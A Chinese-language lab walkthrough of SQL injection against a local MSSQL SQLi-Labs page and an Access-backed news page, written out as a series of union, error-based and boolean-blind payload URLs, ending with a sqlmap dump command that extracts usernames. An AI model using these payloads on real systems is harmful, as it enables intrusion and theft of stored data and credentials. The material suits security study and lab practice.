Abstract: 对 MssqlAccess 数据库使用报错注入和联合查询方法查询库名表名字段名。

Table of Contents

  1. MSSQL-SQLi-Labs 环境注入
    1. 判断注入类型
    2. 确认字段数
    3. 确认页面能够显示的位置
    4. 布尔盲注查 version
    5. 联合查询判断库名
    6. 联合查询判断表名
    7. 联合查询判断字段名
    8. 报错注入判断库名
    9. 报错注入查询表名
    10. 报错注入查询users表的字段名
  2. Access 数据库
    1. 判断注入类型
    2. 判断数据库类型
    3. 判断个数
    4. 猜表名及判断各输出位置
    5. 猜表名
    6. 使用 top 1

MSSQL-SQLi-Labs 环境注入

判断注入类型

id=1' 后加上 ',页面报错,

1
http://192.168.179.131/less-1.asp?id=1'

继续在后面补上 -- | 页面正常显示。

确认字段数

先写上 4,发现页面报错,

1
http://192.168.179.131/less-1.asp?id=1'  order by 4 -- |

修改为 3,页面正常显示。

1
http://192.168.179.131/less-1.asp?id=1'  order by 3 -- |

确认页面能够显示的位置

1
http://192.168.179.131/less-1.asp?id=1'  union select (@@version),2,3 -- |

布尔盲注查 version

1
http://192.168.179.131/less-1.asp?id=1'  and len(@@version)>211 -- |

1
http://192.168.179.131/less-1.asp?id=1'  and len(@@version)>212 -- |

故可以推断,version 长度为 212

1
http://192.168.179.131/less-1.asp?id=1'  and ascii(substring((@@version), 1, 1))>76 -- |

1
http://192.168.179.131/less-1.asp?id=1'  and ascii(substring((@@version), 1, 1))>77 -- |

可以推断出第一个字符的 ACSII 码为 77,即第一个字母为 M。通过这个方法,我们可以确定其他字符。

联合查询判断库名

1
http://192.168.179.131/less-1.asp?id=-1' union select 1, schema_name, 3 from (select top 1 schema_name from information_schema.schemata order by 1) as shit order by 1 desc -- |

1
http://192.168.179.131/less-1.asp?id=-1' union select 1, schema_name, db_name() from (select top 1 schema_name from information_schema.schemata where schema_name not in ('dbo', 'accessadmin', 'guest', 'db_accessadmin','db_backupoperator', 'db_datareader', 'db_datawriter','db_ddladmin')) as shit order by 1 desc -- |

逐个确认库名

联合查询判断表名

1
http://192.168.179.131/less-1.asp?id=-1' union select 1, table_name, db_name() from (select top 1 table_name from information_schema.tables order by 1) as shit order by 1 desc -- |

1
http://192.168.179.131/less-1.asp?id=-1' union select 1, table_name, db_name() from (select top 1 table_name from information_schema.tables where table_name not in ('emails', 'uagents', 'referers', 'users') and table_schema='dbo') as shit order by 1 desc -- |

联合查询判断字段名

1
http://192.168.179.131/less-1.asp?id=-1' union select 1, column_name, 3 from (select top 1 column_name from information_schema.columns order by 1) as shit order by 1 desc -- |

1
http://192.168.100.237/less-1.asp?id=-1' union select 1, column_name, db_name() from (select top 1 column_name from information_schema.columns where column_name not in ('id', 'username', 'password') and table_name='users') as shit order by 1 desc -- |

报错注入判断库名

先判断是否为 mssql,执行下面语句若显示正常则为 mssql

1
http://192.168.179.131/less-1.asp?id=1' and exists(select * from sysobjects) -- |

1
http://192.168.179.131/less-1.asp?id=1' and 1=convert(int, (select @@version)) -- |

1
http://192.168.179.131/less-1.asp?id=1'  and 1=convert(int,(select top 1 schema_name from information_schema.schemata ))  -- |

查到第一库为 dbo,通过 not in 条件,把每次查出来的表名加进去,这样就可以慢慢把所有表的遍历出来。

1
http://192.168.179.131/less-1.asp?id=1'  and 1=convert(int,(select top 1 schema_name from information_schema.schemata where schema_name not in('dbo') )) -- |

1
http://192.168.179.131/less-1.asp?id=1'  and 1=convert(int,(select top 1 schema_name from information_schema.schemata where schema_name not in('dbo', 'db_accessadmin') )) -- |

以此类推可以查询出全部库名

报错注入查询表名

第一张表是 emails

1
http://192.168.179.131/less-1.asp?id=1'  and 1=convert(int,(select top 1 table_name from information_schema.tables where table_schema='dbo' and table_name not in(emails') )) -- |

多次执行后,当执行到下面这条语句时,页面无显示。

1
http://192.168.100.237/less-1.asp?id=1'  and 1=convert(int,(select top 1 table_name from information_schema.tables where table_schema='dbo' and table_name not in('emails', 'uagents', 'referers', 'users') )) -- |

报错注入查询users表的字段名

1
http://192.168.179.131/less-1.asp?id=1'  and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='users')) -- |

1
http://192.168.179.131/less-1.asp?id=1'  and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in('id'))) -- |

改为桥接模式,继续做。

1
http://192.168.100.237/less-1.asp?id=1'  and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in('id', 'username', 'password'))) -- |

Access 数据库

判断注入类型

找到新闻展示界面,可能存在注入点

1
http://192.168.100.36/shownews.asp?id=5'

1
http://192.168.100.36/shownews.asp?id=5-1

判断数据库类型

1
http://192.168.100.36/shownews.asp?id=5 and (select count(*) from MSysAccessObjects)>0

判断个数

1
http://192.168.100.36/shownews.asp?id=5 order by 11

猜表名及判断各输出位置

1
http://192.168.100.36/shownews.asp?id=5 union select 1,2,3,4,5,6,7,8,9,10,11 from news

1
http://192.168.100.36/shownews.asp?id=5 union select 1,id,title,4,5,6,content,8,9,10,11 from news

猜表名

1
http://192.168.100.36/shownews.asp?id=5 and (select count(*) from user)

使用 top 1

由上面的内容可知表 news中存在字段 idtitlecontent。尝试判断第一个 title 的长度。

1
http://192.168.179.132/shownews.asp?id=3 and (select top 1 len(title) from news)>29

1
http://192.168.179.132/shownews.asp?id=3 and (select top 1 len(title) from news)>30

第一个标题长度为 30

尝试判断 user b表中字段 username 第一个值

username 中数据的个数,由下图可知总共两个数。

1
http://192.168.179.132/shownews.asp?id=3 and (select count(username) from user)>1

判断第一个 username 的长度

1
http://192.168.179.132/shownews.asp?id=3 and (select top 1 len(username) from user)>4

第一个用户名的长度为 5

判断第一个字符

1
http://192.168.179.132/shownews.asp?id=3 and (select top 1 asc(mid(username, 1, 1)) from user)>96

1
http://192.168.179.132/shownews.asp?id=3 and (select top 1 asc(mid(username, 1, 1)) from user)>97

第一个字符的 ASCII 码为 a

判断第二个字符

1
http://192.168.179.132/shownews.asp?id=3 and (select top 1 asc(mid(username, 2, 1)) from user)>99

第二个字符为 d

判断第三个字符

1
http://192.168.179.132/shownews.asp?id=3 and (select top 1 asc(mid(username, 3, 1)) from user)>108

第三个字符为 m

判断第四个字符

1
http://192.168.179.132/shownews.asp?id=3 and (select top 1 asc(mid(username, 4, 1)) from user)>104

第四个字符为 i

判断第最后一个字符

1
http://192.168.179.132/shownews.asp?id=3 and (select top 1 asc(mid(username, 5, 1)) from user)>109

最后一个字符为 n

username 的第二个值

1
http://192.168.179.132/shownews.asp?id=3 and (select top 1 len(username) from user where username not in ('admin'))>4

长度为 5

1
http://192.168.179.132/shownews.asp?id=3 and (select top 1 asc(mid(username, 1, 1)) from user where username not in('admin'))>108

第一个字符为 m

1
http://192.168.179.132/shownews.asp?id=3 and (select top 1 asc(mid(username, 2, 1)) from user where username not in('admin'))>100

第二个字符为 e

1
http://192.168.179.132/shownews.asp?id=3 and (select top 1 asc(mid(username, 3, 1)) from user where username not in('admin'))>107

第三个字符为 l

1
http://192.168.179.132/shownews.asp?id=3 and (select top 1 asc(mid(username, 4, 1)) from user where username not in('admin'))>120

第四个字符为 y

1
http://192.168.179.132/shownews.asp?id=3 and (select top 1 asc(mid(username, 5, 1)) from user where username not in('admin'))>120

最后一个字符为 y

sqlmap 验证

1
sqlmap -u "http://192.168.179.132/shownews.asp?id=3" -T user -C username --dump